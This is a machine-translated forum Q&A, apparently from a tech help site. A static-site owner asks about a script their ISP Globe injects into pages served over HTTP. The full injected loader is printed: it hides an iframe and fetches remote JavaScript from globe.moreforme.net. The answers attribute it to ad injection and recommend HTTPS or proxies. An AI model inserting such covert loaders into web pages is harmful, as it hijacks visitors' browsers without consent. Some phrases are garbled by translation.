
Tengo un sitio web estático. Actualizo las páginas web localmente en mi computadora y luego las subo usando FileZilla. Sin embargo, una vez subido, reviso el código fuente de cualquiera de mis páginas y veo un script que se inyecta dentro del archivo <head>
. El script no cambia el diseño ni el contenido visible de la página, así que no sé qué hace:
<script>
if (top == window) {
var engageNameSpace = "engagens";
"undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
function e(e) {
return "undefined" != typeof e && null !== e
}
function t() {
var t = document.createElement("script");
t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
}
function n() {
var t = r();
if (e(t)) {
var n = t;
i() && (n = d(t));
var o;
try {
o = document.documentElement, o.appendChild(n)
} catch (c) {
o = document.body, o.appendChild(n)
}
a()
}
}
function a() {
function e(e) {
var n = e.data;
"l8IframeIsReady" === n.message && t()
}
window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
}
function r() {
var t = document.createElement("iframe");
if (e(t)) {
t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
var n = /firefox/i.exec(navigator.userAgent);
e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
}
return t
}
function i() {
var t = !1,
n = /android (\d+)/i.exec(navigator.userAgent);
return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
}
function d(e) {
var t = document.createElement("div");
return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
return !0
}, t.appendChild(e), t
}
function o() {
var t = void 0,
a = this,
r = function() {
e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
};
t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
}
var c = "http://globe.moreforme.net",
u = c + "/l8/EngageService?v=1",
s = c + "/scripts/Engage.js";
o()
};
var engageLoader = new window[engageNameSpace].engageLoader
}
</script>
Al verificar la URL en el script http://globe.moreforme.net
, me doy cuenta de que lo más probable es que el script provenga de nuestro ISP (Globe). Como soy un novato en seguridad de Internet, no sé cómo llegó el script allí en primer lugar. Mi sitio es HTML estático. ¿Cómo puedo evitar que ese script aparezca en el código fuente una vez cargada la página?
EDITAR:
Encontró estoenlaceEse parece ser el código de plantilla para crear el script. ¿Alguien sabe qué hace el guión?
Respuesta1
Primero, esto solo funciona porque estás en HTTP en lugar de HTTPS.
Su ISP inyecta este script y luego lo usa para cargar dinámicamente otro script (¿en un iframe?).
Por alguna razón, no puedo navegar a Globe.moreforme.net, que aloja los scripts... me está redirigiendo a Globe.moreforme.ph, por lo que lo más probable es que Globe.moreforme.net solo esté disponible para personas que usan el ISP.
Ahora, si tuviera que hacer una suposición descabellada... diría que el ISP está utilizando este script cargado dinámicamente para secuestrar anuncios en las páginas que usted visita y reclamar la revista para sí mismos.
Debería poder evitar esto usando solo sitios HTTPS o usando un proxy SOCKS5 seguro (que es estúpidamente simple de configurar en un VPS por muy poco dinero) investigando Dynamic Port Forwarding
en SSH. Alternativamente, puede buscar en ShadowSocks si se encuentra en un país que tiene un firewall nacional (China).
Respuesta2
Este es el resultado de la asociación de Globe Telecom con las malvadas Flash Networks para modificar las páginas que cargan sus clientes agregando sus anuncios y probablemente pirateando los anuncios de otras personas.
La legalidad de esto es cuestionable: al menos deberían infringir las leyes de derechos de autor. Pero dada la jurisdicción filipina, no creo que haya nada que se pueda hacer legalmente.
Esta es también la razón por la que todos los sitios deberían usar HTTPS y HTTP deshabilitado (excepto redirigir a HTTPS). Hoy en día existen varias formas de obtener un certificado SSL para su nombre DNS de forma gratuita y también mejora su puntuación en Google.